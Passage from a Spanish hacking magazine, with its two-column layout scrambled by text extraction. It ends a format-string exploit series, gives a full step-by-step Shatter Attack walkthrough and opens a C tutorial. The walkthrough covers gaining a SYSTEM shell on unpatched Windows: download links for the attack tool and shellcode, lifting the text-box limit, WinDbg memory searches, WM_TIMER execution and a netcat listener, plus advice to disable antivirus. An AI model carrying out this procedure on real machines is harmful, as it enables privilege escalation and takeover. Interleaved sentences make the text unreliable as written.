  • 40. http://totalred.blogspot.com Como la shellcode está en el mismo sitio Con estos tres artículos he intentado entender mejor el funcionamiento de de antes, los cálculos nos valen. Sin que podáis entender a qué se deben vuestro sistema, y hayáis adquirido unas embargo, variaran las direcciones de varios tipos comunes de vulnerabilidades bases que os ayuden a comprender el memoria, pues en lugar de empezar en que están a la orden del día, que porqué de nuevas vulnerabilidades, y 0x0804963c, esta vez tenemos que entendáis cómo se pueden explotar y con unos pocos conocimientos de C y empezar en 0x08049654. Así, como ya porqué, y veáis lo peligroso que puede C++, podáis entender el funcionamiento tenemos claro cual es la cadena de resultar un error en la programación de principal de los exploits que circulan por formato que tenemos que poner, vuestras aplicaciones. ahí, y sepáis como podéis protegeros pasamos a la ejecución de nuestro plan: de ellos. (listado 21) Espero haber conseguido que a partir de ahora, cuando programéis una Sin más, espero que estos tres artículos Una vez más, como puedes observar, aplicación que deba funcionar en un hayan sido de vuestro agrado, y hayáis hemos conseguido ejecutar nuestra entorno de producción, en algún lugar disfrutado tanto como lo he hecho yo shellcode con los privilegios del crítico donde pueda recibir ataques, aprendiendo y experimentando acerca programa atacado :-). Por tanto, con tengáis muy en cuenta la seguridad y de estos temas. De nuevo os invito a éste ya sabemos dos métodos para la necesidad de validar los datos de acercaros al foro de esta revista poder ejecutar código arbitrario (una entrada de los usuarios. Si no lo tenemos (http://www.hackxcrack.com/phpBB2) shellcode) en un proceso que realice un en cuenta, podemos ser víctimas de a compartir vuestras dudas con todos mal uso de las cadenas de formato. ataques que, como ya habéis podido los usuarios del foro, y a aprender juntos comprobar a lo largo de estos artículos, :-). comprometan totalmente nuestros Hasta la próxima. sistemas. Por ello os invito a que leáis Con este artículo llega a su fin esta algún texto sobre programación segura Eloi S.G. pequeña serie de artículos sobre para poder evitar todo esto. (a.k.a. TuXeD) explotación de errores de programación iniciada en el número 27 de esta revista. Además, espero que con esto podáis CONSIGUE LOS NÚMEROS AT R A S A D O S E N : Y http://totalred.blogspot.com
  • 41. http://totalred.blogspot.com En esta sección viajaremos al pasado, abrimos la puerta del desván, sacudiremos el polvo de algunos bugs y exploits que por su singularidad y forma de actuar dejaron al descubierto la fragilidad de nuestros ordenadores personales, de nuestros sistemas de protección y de todo aquello en lo que confiábamos. si lo aplicamos a nuestro objetivo: Esta sección te permitirá avanzar, mirar al frente porque serás conocedor del pasado 1º) Explicar claramente y sin demasiados y tienes bien aprendida la lección. tecnicismos el agujero de seguridad que sea el objeto de cada artículo. R: Muchos de los artículos de esta sección son "el poso" con el que muchas de las técnicas y tácticas "nos asaltan", 2º) Revisar algunos de los "white papers" en muchas ocasiones virus y código dañino se aprovechan que fueron publicados en su momento, para ello de estas situaciones y no son otra cosa más que la haremos una traducción - no literal, si no más automatización de las mismas. bien adaptada a cada caso/técnica Se me ocurren varias razones más, pero creo que con 3º) Llevar a la práctica y con ejemplos guiados éstas es suficiente para dar rigor y fundamento a esta la "discusión" de los White Papers, a nuestro serie, pero RECUERDA: no es oro todo lo que reluce, en estilo, paso a paso... ocasiones tendremos que provocar expresamente la existencia de la vulnerabilidad para que pueda serLo que no encontraréis en estos artículos será "el último explotada, en definitiva, esta serie de artículos no dejarangrito", bugs-exploits del tipo 0-days, todo lo contrario, en de ser "prácticas de laboratorio":su mayor parte están tapados, cerrados y a buen recaudo,sólo equipos sin las correspondientes actualizaciones de ¿qué mejor para nuestros fines que convertirnos en unseguridad serán vulnerables a dichos ejemplos. banco de pruebas?Pe r o e s t o ú l t i m o n o h a d e d e s a n i m a r a l l e c t o r, ¿qué mejor para nuestros fines que llevar la investigacióncontrariamente a lo que muchos de vosotros podáis llegar a nuestras casas?a pensar: ".... bahhh!!! ¿para qué un artículo dedicado al"hack" con información obsoleta y desfasada? ..." pues ¿qué mejor para nuestros fines que convertir un viejose me ocurren varias respuestas: PC o una partición de nuestro disco o una máquina virtual en un quirófano, en una sala de operaciones en la queR: ¿quién no ha deseado CONOCER y ENTENDER esas seremos el cirujano jefe teniendo el control de todos losformas singulares de acceso o debilidades manifiestas? procesos?R: Como se dice habitualmente, "Los pueblos que no Éstas son otras tres de las razones por las que nosconocen su pasado están abocados a repetir su Historia", aventuramos a esta nueva sección de la que vosotros 42
  • 42. http://totalred.blogspot.comtendréis la última palabra, la continuidad porción de memoria para entregarnos Para ello es necesario que Windowsde la misma es cosa vuestra, de vuestra esa sesión privilegiada y lo haremos esté ejecutando una aplicación (servicioaceptación e interés... no queremos gracias a un antivirus, o a un firewall, interactivo) que requiera de un nivel dehacerla "una sección fija", más bien o a cualquier proceso que corra en LocalSystem (ejecución local con loshabitual o periódica, no permanente... nuestra máquina con privilegios máximos privilegios), esto no es nadaaunque también en esto vuestra es la superiores a los que disponemos, difícil, muchos Antivirus, cortafuegos yúltima palabra... y ahora no me enrollo utilizaremos un debugger, etc. vamos, otras aplicaciones se ejecutan en esemás... que va como anillo al dedo de lo que se contexto, el único requisito es que esas ha ido explicando y desarrollando hasta aplicaciones con privilegios de System,Dicho todo lo anterior... ¿Por dónde ahora, no es casual, no... cuando leí ofrezcan al usuario sin privilegios uncomenzamos? ¿Por cual? ¿Quien ese artículo de cómo burlar al antivirus interfase para que el usuario interactúeserá nuestro primer banco de me vino a la memoria este caso que en con ellos, como por ejemplo un antiviruspruebas? su momento provocó respuestas de y sus tareas programadas, también es Microsoft del tipo "Eso no es una preciso que dicha interfase ofrezca algúnEs tarea difícil, es tan abrumadora la vulnerabilidad....." hasta que se dio control del tipo edit-box (cuadro decantidad de información, documentos y cuenta de que SI lo era. texto donde escribir algo, una contraseña,listas de seguridad que quizás es más una descripción, una fecha, etc..)difícil elegir uno que redactar este Esta es una vulnerabilidad bien conocida,artículo.... pero entre todos ellos escogí y al mismo tiempo no muy.... bueno, Microsoft publicó un parche deuno que bien podría ser el título de este no tienes más que darle al botón de seguridad que corregía dicho agujero,artículo: Windows vulnerable por ser buscar de nuestros foros ( pero más tarde el propio Paget y OliverWindows. http://www.hackxcrack.com/phpBB2/ Lavery, investigador de la compañía search.php ) y escribe la palabra shatter iDefense hacía público otro informeLa frase es ingeniosa donde las haya, como criterio de búsqueda.... sólo dos que promulgaba que dicha vulnerabilidadWindows vulnerable por ser míseros post.... no era casual haber seguía existiendo a pesar del parche yWindows...ya me hubiese gustado ser elegido empezar por este bug... ya van que muchos de los productos delsu autor. tres. mercado eran susceptibles de usarse mediante la técnica descrita por Paget.Se trata de una técnica basada en el Microsoft se mantuvo en sus principiosllamado "Shatter Attack", explotando y anunciaba que no era una vulnera-A P I W i n 3 2 p a ra l a e s c a l a d a d e "Hacia mediados del año 2002, Chris bilidad como tal, no podía explotarseprivilegios. Paget, un experto británico, hizo público de forma remota y precisaba del acceso un informe conocido como "Shatter físico a la máquina afectada, por ello leEn palabras llanas... Obtener una línea Attacks - How to break Windows", que restó importancia y durante variosde comandos (shell del sistema) con el describía fallos fundamentales en el (muchos) meses más, siguieron al des-máximo de privilegios y hacernos con diseño de Windows, y que se basan en cubierto nuestros equipos.el control total de una máquina la manera de funcionar de las APIsWindows 2000/XP (sin parchear, (Application Program Interface), un Podéis seguir por completo las explica-claro) conjunto de rutinas que un programa ciones en: http://www.vsantivirus.- de aplicación utiliza para solicitar y com/13-08-02.htmLa elección de que haya sido éste y no efectuar servicios de nivel inferiorotro tampoco es casual, desde hace un Como bien dice en esos artículos, virus ejecutados por el sistema operativo."tiempo, en esta nueva era de HxC los y troyanos pueden aprovecharse de estaredactores de la revista han ido Así comenzaba una alerta de circunstancia (y aunque Microsoft decíaenseñándonos las shellcode, gracias vsantivirus en el año 2003 (UN AÑO que no era "importante", creo yo desdeTuXeD, y en el último número aparece DESPUÉS), podéis consultar el texto mi modesta opinión, que un virus-un artículo de autor anónimo que íntegro en: http://www.vsantivirus.com troyano que se instale en tu máquina ydemuestra lo sencillo que es engañar a /shatter-attack.htm entregue una shell remota a un individuoun antivirus que base su detección en cualquiera, no deja de ser un GRAVEel método de firmas o que su poder Haciendo un resumen de lo expuesto, problema, es cierto que se precisa deheurístico sea cuanto menos discutible, el asunto es que Paget abrió al mundo acceso local, como afirmabamis más sinceras felicitaciones a su una nueva forma en la que un usuario Microsoft... pero de eso se ocuparonautor y a su método RiT. sin privilegios puede llegar a sacar los virus y troyanos... Windows se provecho de esta vulnerabilidad y ocupaba del resto.No es casual la aparición de este texto asignarse a si mismo los máximoscomo dije antes... no lo es porque en privilegios del sistema atacado, el status Obviamente el "problema" no es/era lael mismo haremos de él la necesidad de LocalSystem, el nivel superior al denominada "Shatter Attack", si no elde ejecutar una shellcode en una del administrador. virus que nos llega por correo que se 43
  • 43. http://totalred.blogspot.comaprovecha de la situación... y digo yo... Como estarás intuyendo, si somos la misma que usa el exploit Jill,¿Es que Microsoft no llega a eso?, capaces de enviar una shellcode a una la encontraréis en el mismo zip desorprendente.... ventana desplegada por el Sistema con http://security.tombom.co.uk/sh privilegios superiores a los que a t t e r. z i p c o n e l n o m b r e d eEl documento original que Paget disponemos, sólo nos hará falta conocer sploit.bind e s a r r o l l ó e n : h t t p : / / s e c u r i t y. la dirección de memoria del inicio de latombom.co.uk/shatter.html shellcode para poder ejecutarla, debido Opcionalmente herramientas que a que Windows no chequea el origen listen procesos como pslist deY la ampliación por Oliver Lavery: del mensaje, si una ventana le dice a sysinternals, o del propio kit de otra que haga "tal cosa", obedecerá, lo recursos, como estamos usandohttp://www.packetstormsecurity.org/p que decía el artículo de vsantivirus... un XP nos bastará con elapers/Win2000/Shatter_Redux.pdf Windows Vulnerable por ser administrador de tareas, también Windows. si se desea alguna herramientaBueno, hablemos de forma mássencilla... ¿esto en qué consiste? que nos muestre el usuario que Vamos a aplicar en este artículo las somos y/o a los grupos que perte- técnicas descritas por Pager y necemos... del tipo whoami.exePues simplemente en encontrar un necesitaremos para nuestra práctica: del Kit de recursos.proceso "vulnerable" que se ejecute conprivilegios de System y en el que el Una aplicación capaz de enu-usuario pueda interactuar con él, en el m e ra r v e n t a n a s , o b t e n e r s u Si mantienes tu antivirus actualizado,que pueda "rellenar" algún campo de posición y capaz de enviar los probablemente te reconocerá el archivotipo texto sólo que en lugar de escribir mensajes necesarios, esto nos lo shatter.zip o shatter.exe (una vezen ese campo un texto "normal" escriba brinda Paget: http://security. descomprimido) como un virus... si esen el mismo una shellcode (que no es tombom.co.uk/shatter.zip así desactívalo, no te preocupes, nadaotra cosa que un programa que nos malo ocurrirá... aunque como dije alenviará una línea de comandos), como Una aplicación que se ejecute principio, lo mejor será que uses unla aplicación "vulnerable" se ejecuta con con privilegios de System, Paget sistema de pruebas... ya sabes... lo delprivilegios de System, la shellcode en su documento original, lo hace laboratorio de investigación...nos enviará una shell con idénticos con un antivirus llamadoprivilegios. VirusScan v4.5.1 corriendo en un Windows 2000 Professional, Oliver Lavery lo demuestra con vnc, nosotros vamos a usar un Windows XP Professional y una versión de Norton, a la cual de 1.- Localizar una ventana de laPues por la forma en que Windows forma intencionada la hacemos aplicación (para el caso que nosestá diseñado... Cuando Windows abre correr al inicio del sistema como concierne el antivirus) que corrauna ventana y el usuario la utiliza, los proceso con privilegios de System, como LocalSystem quellamados "mensajes de Windows" esto es importante remarcarlo, disponga de una caja de textoenvían información acerca de lo que el puesto que Norton Corporate no donde poder escribir lausuario hace: un clic, la pulsación de funciona así... hemos obligado al shellcode y obtener elteclas, el movimiento del ratón, etc... antivirus a correr de forma "manejador" de ventana.hasta aquí todo normal, como ha de privilegiada,ser... sólo que el diseño de Windows no 2.- Eliminar las posiblese s t a b a p r e p a ra d o p a ra d o t a r d e El bloc de notas de Windows... restricciones que afecten a laseguridad la comunicación entre eso viene de serie... notepad.exe caja de texto, como puede serventanas, me explico: la longitud máxima de Un debugger cualquiera, para caracteres que puede albergar.Cualquier ventana puede enviar a otracualquier mensaje (entiéndase mensaje seguir con las explicaciones de Paget, usaremos el Win 3.- Pegar en la caja de texto elcomo las acciones que el usuario efectúa Debugger: http://www. microsoft. código binario del programa acomo ya se dijo antes) de tal forma que com/whdc/devtools/ddk/default. ejecutar (la shellcode)si construimos una aplicación que seacapaz de enviar a una ventana mspx 4.- Averiguar la posición dedesplegada por Windows algún tipo Nuestro bien amado netcat... memoria en que se pegó lade mensaje "malicioso", la ventana shellcode y ejecutarla.receptora no valida la seguridad de lacomunicación... simplemente carga ese Una shellcode, usaremos la misma que Paget utiliza en su Parece sencillo... y además son pocoscódigo en la porción de memoria que ejemplo, por Dark Spyrit! que es pasos :Ptiene asignada. 44
  • 44. http://totalred.blogspot.com Ahora abriremos una shell (inicio- Aceptamos y buscamos el proceso del Antes de comenzar con el ejemplo real, ejecutar-cmd) accedemos a la carpeta antivirus que corre con privilegios de hagamos algunas pruebas y preparemos H X C S H A T T E R y ve a m o s q u i e n e s System, en esta ocasión se trata del todas nuestras herramientas: somos:(pantalla 2) proceso número 356 cuyo nombre es vpc32.exe, ni que decir tiene que Primero vamos a probar con la cuenta Bien, vemos que pertenecemos al grupo en tú sistema probablemente sea otro del administrador, es decir, como es un de administradores (y muchos otros) proceso o si no usas el mismo antivirus banco de pruebas vamos a seguir la también será otro nombre.(pantalla 4) práctica como administradores del sistema e instalamos todo lo necesario: Descomprimimos el archivo que nos b a j a m o s d e h t t p : / / s e c u r i t y. Pulsamos CTRL+ALT+Supr y acce- t o m b o m . c o . u k / s h a t t e r. z i p y l o demos al administrador de tareas y almacenamos en una carpeta cual- en el menú de ver elegimos quiera, crearemos una carpeta llamada seleccionar columnas y marcamos HXCShatter y en ella colocaremos gran la casilla de identificador de proceso parte de lo necesario, a saber: (PID)(ver pantalla 3) El archivo shatter.exe El archivo nc.exe (netcat) El archivo whoami.exe (del kit de recursos para conocer quienes somos) El archivo sploit.bin Pantalla 4. Identificación del proceso renombrado como sploit.txt (no privilegiado vpc32.exe es preciso cambiarle la extensión, pero así lo podremos abrir direc- A h o ra e j e c u t a m o s e l p r o g r a m a s h a t t e r . e x e d e n u e s t ra c a r p e t a tamente con el bloc de notas sin HXCSHATTER (pantalla 5) más) Pantalla 3. Selección de columnas en Quedará más o menos así:(pantalla1) el administrador de tareas Pantalla 1. Contenido de la carpeta HXCSHATTER Pantalla 5. Ejecución del programa shatter.exe Por el momento no explicaremos qué Pantalla 2. Resultado de la ejecución de whoami.exe hacen los botones y los parámetros que hay que poner en las casillas de texto correspondiente. Ahora abrimos el proceso del antivirus que corre como system, el vpc32.exe (ver pantalla 6). Ahora seguimos los pasos descritos, el método divulgado por Paget se resume en cuatro fases y nos toca la primera de ellas: 45
  • 45. http://totalred.blogspot.com descripción del mismo si lo desea (pantalla 8). La segunda parte de este primera fase es obtener "el manejador" de ventana... eso es simplemente el identificador de ventana, como Windows puede usar varias ventanas al mismo tiempo en una misma sesión, a cada una se le entrega un identificador único, algo parecido al PID de los procesos pero aplicado a las ventanas, de tal forma que cuando el usuario interactúa con la ventana abierta se envían los eventos y mensajes de usuario junto con el manejador (el número) que corresponde a dicha ventana.Pantalla 6. Ejecución del antivirus, proceso vpc32.exe Para conseguir ese valor, usaremos el programa shatter.exe que ya tenemos como LocalSystem que disponga de en ejecución, pulsamos en el botón una caja de texto donde poder Enumerate windows y desplazamos escribir la shellcode y obtener el el deslizador que hay a la derecha "manejador" de ventana. encontraremos el/los identificadores de ventana de Norton... algo así:(ver Localizar la ventana es sencillo, si pantalla 9) hacemos un repaso por las opciones que nos brinda el antivirus, descubrimos que en el menú Edit-New Startup Scan nos aparecerá una serie de cajas de texto en donde escribir lo que esperaPantalla 7.- Nueva tarea para el antivirus el antivirus de nosotros(pantalla 7) Pantalla 9. Enumeración de las ventanas activas Alguno de esos valores son los que se corresponden con las casillas Name y Description, no hay que ser muy ducho para averiguarlas: 1402a6 - name 1b0262 - description Pero realmente no son esos... esosPantalla 8. Localización de una ventana con cajas de texto en el antivirus corresponden a los identificadotes de las etiquetas que muestran las palabras name y description, no a las cajas Disponemos de dos cajas de texto de texto... es decir, los que nosLocalizar una ventana de la (name y Description) en donde se interesan son justamente los queaplicación (para el caso que nos supone que el usuario escribirá un hay una posición por debajo de ellas,concierne el antivirus) que corra nombre para el escaneo a realizar y una concretamente: 46
  • 46. http://totalred.blogspot.com 1402a2 y 1b0266 También podemos usar el botón de Get Cursor window, esto es más cómodo puesto que nos responderá exactamente con el identificador de ventana en donde hagamos clic, veámoslo... explicarlo mediante palabras escritas es más difícil que hacerlo... Vamos a poner las dos ventanas "al alcance", así:(pantalla 10) Como ves, la ventana de shatter está por encima de la del antivirus... y pulsamos en el botón Get Cursor window(pantalla 11) Aparece 240376 en mi ejemplo... pero Pantalla 10. Averiguar el identificador mediante Get Cursor window (parte I) ese es el manejador del propio shatter, ahora desplazamos el cursor del ratón sobre "el trocito" de la casilla de texto correspondiente a Description que se ve por detrás y una vez hayamos alcanzado el área en blanco de la caja de texto, pulsaremos enter(pantalla 12) El identificador de ventana es el 1b0266 que es el mismo que "suponíamos" antes, elige el método que más te guste... pero recuerda no hacer clic por ningún sitio una vez pinchado en el botón Get Cursor Window o tendrás que repetirlo... Ahora que ya tenemos el número Pantalla 11. Averiguar el identificador mediante Get Cursor window (parte II) correspondiente al manejador, lo escri- bimos en Handle (DWORD) dentro del programa shatter:(pantalla 13) Vale ya sabemos para que sirven dos de los seis botones del programa shatter y también conocemos que en handle hay que escribir el identificador de la ventana a la cual queremos acceder. Ahora abriremos el bloc de notas y escribe lo que se te ocurra... a mí se me ocurrió esto:(pantalla 14) Y aunque parezca estúpido, seleccionas todo y pulsas ctrl+c (copiar) regresa al programa shatter y pulsa en el botón VM_PASTE. Pantalla 12. Averiguar el identificador mediante Get Cursor window (parte III) 47
  • 47. http://totalred.blogspot.com Si miras en el Antivirus... SORPRESA!!!! R: Porque la caja de texto donde (pantalla 15) estamos enviando el mensaje sólo permite 256 caracteres, si intentamos Se ha copiado ... a continuación del escribir más no nos lo permite y con texto que ya existía, pulsemos varias esto enlazamos con la segunda fase del veces en WM_PASTE (10 ó 12 al método expuesto por Paget menos)(pantalla 16) Como ves se ha ido pegando... pero llega un momento que no nos hace caso... ya no "pega" más veces la frase... Eliminar las posibles restricciones ¿por qué? que afecten a la caja de texto, comoPantalla 13. Escribir el identificador puede ser la longitud máxima deúnico de ventana en Handle (DWORD) caracteres que puede albergar. Acabamos de darnos cuenta que nuestra caja de texto sólo admite 256 caracteres... por tanto o le obligamos a que acepte más o nos tocará usar una shellcode de menos de 256 caracteres... no es nuestro caso, laPantalla 14. Probando a escribir cualquier cosa en el bloc de notas shellcode que vamos a usar ocupa unos 2K, vamos, que necesitamos romper esa restricción. Volvemos a nuestro bloc de notas, escribimos un mensaje más largo... de más de 256 caracteres, por ejemplo:(pantalla 17) Al igual que antes, seleccionamos todo y CTRL+C (copiar) Si intentamos pegar mediante el botón WM_PASTE no lo hará al completo, se pegarán los 256 primeros caracteres y el resto no.Pantalla 15. Observamos los resultado después de pulsar en WM_PASTE Así que volvamos a nuestro shatter y en WPARAM (DWORD) escribiremos .... FFFFFF esto equivale a 16.777.216 que serán los caracteres que vamos a poder escribir... si te faltan pon más, por ejemplo FFFFFFFF unos 4 Gigas... :P Pero antes de pulsar de nuevo en WM_PASTE, pincha en EM_SETLIMITTEXT y "haremos el hueco necesario", luego ya puedes pulsar en WM_PASTE y verás que se pudo escribir más de 256 caracteres.... todos los que quieras.... :P (pantalla 18) Bueno, está claro, ¿no?Pantalla 16. Comprobamos que el espacio disponible es insuficiente 48
  • 48. http://totalred.blogspot.com Con el botón EM_SETLIMITTEXT podemos fijar el número de caracteres máximo que una caja de texto puede almacenar, la cantidad de caracteres que almacena se define con el valor hexadecimal que escribamos en WPARAM (Dword). Pegar en la caja de texto el código binario del programa a ejecutar (laPantalla 17. Probando a escribir un texto de más de 256 caracteres shellcode) Bien, pues basta de prácticas con Wadalbertia... vamos a borrar todo lo que escribimos como Descripción y abrimos el archivo sploit.txt que guardamos en la carpeta HXCSHATTER hace unos instantes:(pantalla 19) Seleccioné Formato y quité la marca de verificación en Ajuste de Línea, de esta forma no hay retornos automáticos de línea y nos aseguramos que la shellcode no incluye caracteres no deseados. Selecciona TODO y cópialo comoPantalla 18. Comprobamos que ahora sí se pegaron más de los 256 caracterespermitidos hacíamos antes... eso incluye la primera línea, la que comienza por FOON (luego explicaremos qué es esto y para qué sirve) Ahora ajusta el tamaño con FFFFFF en WPARAM, pincha en EM_SETLIMITTEXT para permitir laPantalla 19. Eliminamos los saltos de línea no deseados. escritura superior a los 256 caracteres y por último pulsamos en WM_PASTE para pegar la shellcode en la ventana Description del antivirus. Si revisamos la ventana del Norton se habrá pegado la shellcode enterita :P (pantalla 20) Averiguar la posición de memoria en que se pegó la shellcode y ejecutarla. Para averiguar la posición exacta de memoria en donde está la shellcodePantalla 20. La shellcode es enviada a la ventana del antivirus 49
  • 49. http://totalred.blogspot.com primera) con la palabra FOON seguida de "unos cuadraditos" Esos cuadraditos son NOPs (nada, no hacer nada, es una instrucción que no hace nada) concretamente, las letras FOON y los NOPs suman 1024 caracteres (1K) y a partir de ahí está la verdadera shellcode...Pantalla 21. Pantalla inicial del progrma WinDbg Pulsamos F6 que nos permitirá examinar los procesos que se están ejecutando en memoria y entre ellos Pues FOON es una palabra que nuestro buscamos el que corresponde a querido Paget colocó para que se pueda nuestro antivirus, el vpc32.exe(ver encontrar rápidamente y así delate el pantalla 22) inicio de la shellcode y podamos buscar dicha secuencia en el debugger. No se te olvide verificar la casilla Noninvasive como muestra la Para encontrar la shellcode (la palabra pantalla 22... de ese modo no interferiremos con la ejecución del FOON) pondremos esto en la línea de antivirus y/o lo dejaremos fuera de comandos del depurador: combate...una vez seleccionado el proceso en memoria y verificada la s -a 00000001 10000000 "FOON" casilla pulsamos en OK (pantalla 25) Si no aparece nada... selecciona Wiew Pulsamos enter... y.... (pantalla 26) en el menú y Command (pantalla 23) Aparecen dos direcciones dePantalla 22. Seleccionamos el procesovpc32.exe y marcamos no invasivo memoria: 1684f8 y 168c00, tal y como dice Paget, no tengo ni idea de porqué aparece dos veces, si no lo sabe él, tampoco yo... pero no importa, cualquiera de ellas funcionará y nos servirá, cogeremos la última, por ejemplo. Tenemos que FOON comienza en la posición 0x00168c00 como sabemos que hasta el comienzo de nuestra shellcode existen 1024 bytes (las cuatro letras de FOON y 1020 NOP). Para asegurarnos que la shellcode se ejecuta desde el principio, haremos caer la ejecución a partir del byte 512, de esa forma ejecutará unos cuantos NOP’s antes de comenzar con el verdadero código, de esa forma sabemos que la verdadera shellcode se ejecuta desdePantalla 23. Abrir la ventana del depurador y su línea de comandos el inicio, por tanto le sumaremos 512 bytes (0x200 en hexadecimal) a ladentro de la caja de texto de la Aparecerá algo parecido a posición en la que se encuentra laventana del antivirus vamos a necesitar esto:(pantalla 24) cadena FOON.un debugger, lo haremos conwindebugger, una vez instalado lo Si recuerdas cuando pegamos la 0x00168c00+0x200=0x00168e00ejecutamos: (pantalla 21) shellcode, aparecía una línea (la 50
  • 50. http://totalred.blogspot.com Volvamos a shatter... y escribimos todo lo que necesitamos: En WPARAM escribimos el desplazamiento y en LPARAM la posición en la que se empezará a ejecutar el código de nuestra shellcode, ahora sólo resta pulsar en WM_TIMER y rezar.... ¿qué es eso del WM_TIMER? Pantalla 24 Ventana de comandos del depurador. Pues un mensaje de Windows que cada vez que transcurre un determinado tiempo, se envía un mensaje WM_TIMER a la ventana y pasa como parámetro su ID, estos mensajes se colocan en una especie de cola de procesos para que sean atendidos y como Windows no comprueba la seguridad del mensaje, el resultado es la ejecución de la shellcode. Veamos que ocurrió con el netcat qué dejamos a la escucha.... (pantalla 29) Pantalla 25. Búsqueda en memoria de la cadena de caracteres "FOON" OHHH !!! se conectó.... milagro? suerte? casualidad? NOOOOO!!! UN BUG COMO UNA CASA Si hacemos un whoami veamos que informa... (pantalla 30) Casi nada... una shell con privilegios de sistema.... Como ves funcionar funciona... claro, que estarás pensando lo inviable de este tipo de ataques... no seas como Pantalla 26. Resultado de la búsqueda y posiciones en la que se encuentra. Microsoft y no subestimes lo inevitable. Aparecieron algunos virus y troyanos... para aplicaciones de control remoto del tipo dameware, pero sobretodo aquel que explotaba el administrador de utilidades mediante winhlp32.exe que invoca a la ayuda de Windows, cabe Pantalla 27. netcat a la escucha.... Esa es la posición...que debemos resaltar que ese archivo se ejecuta de anotar forma oculta y con privilegios de System, por lo que se entregaba una Ahora abandonaremos el debugger, shell con máximos privilegios... y eso escribimos q en la línea de comandos y fue sobre abril de 2004 dos años más cerramos la ventana) tarde que el documento de Paget y un año después del parche.... menos mal A h o ra p o n g a m o s u n n e t c a t a l a que estaba parcheado según escucha... si todo va bien la shellcode Microsoft... entregará una línea de comandos por el puerto 123, por lo que vamos a dejar El parche de "in-seguridad y sus a netcat escuchando por dicho puerto: explicaciones" podéis encontrarlo aquí: (pantalla 27) http://www.vsantivirus.com/vulms02- Pantalla 28. Configuración de shatter, 069-070-071.htm#3 HANDLE, WPARAM Y LPARAM. 51
  • 51. http://totalred.blogspot.com al azar, no es muy elegante pero funcionar funciona. Además, muchas aplicaciones pueden causar errores si “tocamos” donde no se debe... eso es bastante útil para hacernos una idea de las posiciones de memoria en las que se ejecutan. Bueno, eso será de tu cosecha... quienPantalla 29. La shellcode se conecta al netcat que dejamos a la escucha. os escribe lo consiguió tras media docena de intentos... pero eso no es el objeto de este artículo, el verdadero sentido del mismo es profundizar un poquito en esos bugs y agujeros de seguridad que a veces tanto nos asombran, y no es para menos, la técnica, la elaboración d e l o s p r o g ra m a s n e c e s a r i o s , l a shellcode.... todo un arte de ingenio y sabiduría, un verdadero placer que gente como Paget, Lavery, Dark Spyrit y multitud de auténticos mons- truos de la informática compartan conPantalla 30 Tras un whoami descubrimos que tenemos una shell de System nosotros sus avances y conocimientos... a nosotros nos toca descubrirnos anteLos sistemas afectados hasta lo del depurador no es más que uno de ellos y nos conformamos con entenderlo,octubre de 2004!!! por algún tipo de los instrumentos que necesitábamos por algo se empieza... digo yo....Shatter Attcack como el que acabamos para nuestro "laboratorio" de prácticas.de describir son: La técnica descrita por Paget, es la más Microsoft Windows 98, 98SE, ME Si practicas "un poco" verás que es sencilla de "demostrar" y también de Microsoft Windows NT 4.0 perfectamente posible realizar la misma parchear, como hizo Microsoft, el Microsoft Windows 2000 Service técnica como usuario y cuenta limitada, documento de Oliver Lavery avanza Pack 4 no podrás usar el debugger, pero si en el ataque prescindiendo de los men- Microsoft Windows XP, Microsoft haces bastante hueco mediante sajes del tipo WM_TIMER Windows XP Service Pack 1 EM_SETLIMITTEXT y metes unos Microsoft Windows Server 2003 cuantos megas de NOPs no te será Saludos. Vic_Thor difícil encontrar una posición válidaY por supuesto... no hace falta debugger, aunque sea un método de ensayo-error, Atención al Cliente Teléfono de Atención al Cliente: 977 22 45 80 Persona de Contacto: Srta. Genoveva Petición de números atrasados y suscripciones FAX: 977 24 84 12 Servicio Ofrecido de Lunes a Viernes De 10:00 A 13:00 52
  • 52. http://totalred.blogspot.com Bienvenido una vez más a este curso, que espero que esté siendo de vuestro agrado y que os ayude a aprender, pues para eso está. Hasta ahora, con lo que sabemos, los programas que podemos hacer son lineales y su flujo (camino desde que empiezan hasta que terminan) es totalmente predecible. En esta entrega, vamos a ser un pelín menos deterministas y a ejercer un mayor control sobre los programas que hagamos. Sin más dilación, pasemos a ver de qué va todo esto. junto a switch, label junto a goto) Expresión (Expresiones válidas en C simplemente) Imaginad que tenéis que ir de un sitio a otro en una Bloque (Bloque de código, como ya se vio en la carretera que es todo el rato recta. Al principio, la cosa primera entrega) estará divertida: le pisaríamos al coche (siempre hasta el límite legal, que aquí no se incita a hacer absolutamente nada ilegal :P) y sentiríamos la sensación de velocidad. Pero al cabo del rato, nos aburriríamos. Sería más divertido si pudiéramos cambiar de paisaje, tomar alguna curva... Bien, en programación los programas pueden discurrir por Vamos a empezar a tratar estos tipos de sentencias, que carreteras rectas y todo irá como la seda; sin posibilidad nos permitirán tener más control sobre nuestros programas. de variación. ¿Podemos hacer que la carretera por donde discurra nuestro código se vuelva sinuosa? No sé ... ¿se La primera de las sentencias que vamos a ver, y que no puede hacer algo más interesante? es ninguna del Tribunal Supremo (chiste malo, pero hay que resignarse, no todos van a ser buenos :P), es la Pues sí, la verdad que sí. Si no, esto de programar sería sentencia if, que traducido al español, es el condicional tan aburrido como el ejemplo de conducción que ponía si. antes. Para satisfacer nuestra sed de poder, C pone a nuestra disposición un rico conjunto de sentencias de Su sintaxis es la siguiente: control: if (condición) sentencia; Selección (Operador condicional ? :, if y switch) else sentencia; Iteración (Sentencias while, for y do while) Salto (Sentencias break, continue, goto – para Donde: algunos herética – y return) condición es cualquier expresión válida que arroje un Etiquetado (Sentencias case y default, que se verán valor de tipo entero, carácter o de coma flotante (este 53
  • 53. http://totalred.blogspot.comúltimo se puede evitar en todo lo posible, quiero decir realmente con estoya que hace que los programas sean (imagen 1).lentos – a la CPU le lleva varios ciclosde reloj operar con números en coma Podemos ver cómo se ramifica el códigoflotante). En C, un valor igual a cero con este tipo de sentencias de decisión.será tomado como falso. Cualquier otro Una cosa que hay que resaltar. Cada if(positivo o negativo) verdadero. anidado puede llevar, lógicamente su else (en la imagen anterior he puesto Imagen 2 sentencia es una orden o conjunto de a cada if con un else anidado, aunque El uso de este tipo de gráficos, aparteórdenes/ins-trucciones (sentencia el else es opcional). Y hay que tener de para tener más claro qué se trata decompuesta) a realizar en caso de que mucho cuidado con los bloques, ya quela condición que se cumple sea nuestras amigas las llaves ({ y }) hacer, es bueno cuando se diseñenverdadera (con if) o en cualquier otro “aíslan” lo que hay entre ellas del resto algoritmos y se esté estudiando lacaso (else). del código, como ya se vio en la entrega complejidad de los mismos. Si la opción anterior. Esto lo digo porque puede que más probable de todas está en nivelesEste tipo de sentencias establece una pongamos un else que queramos que profundos de nuestro anidamiento, 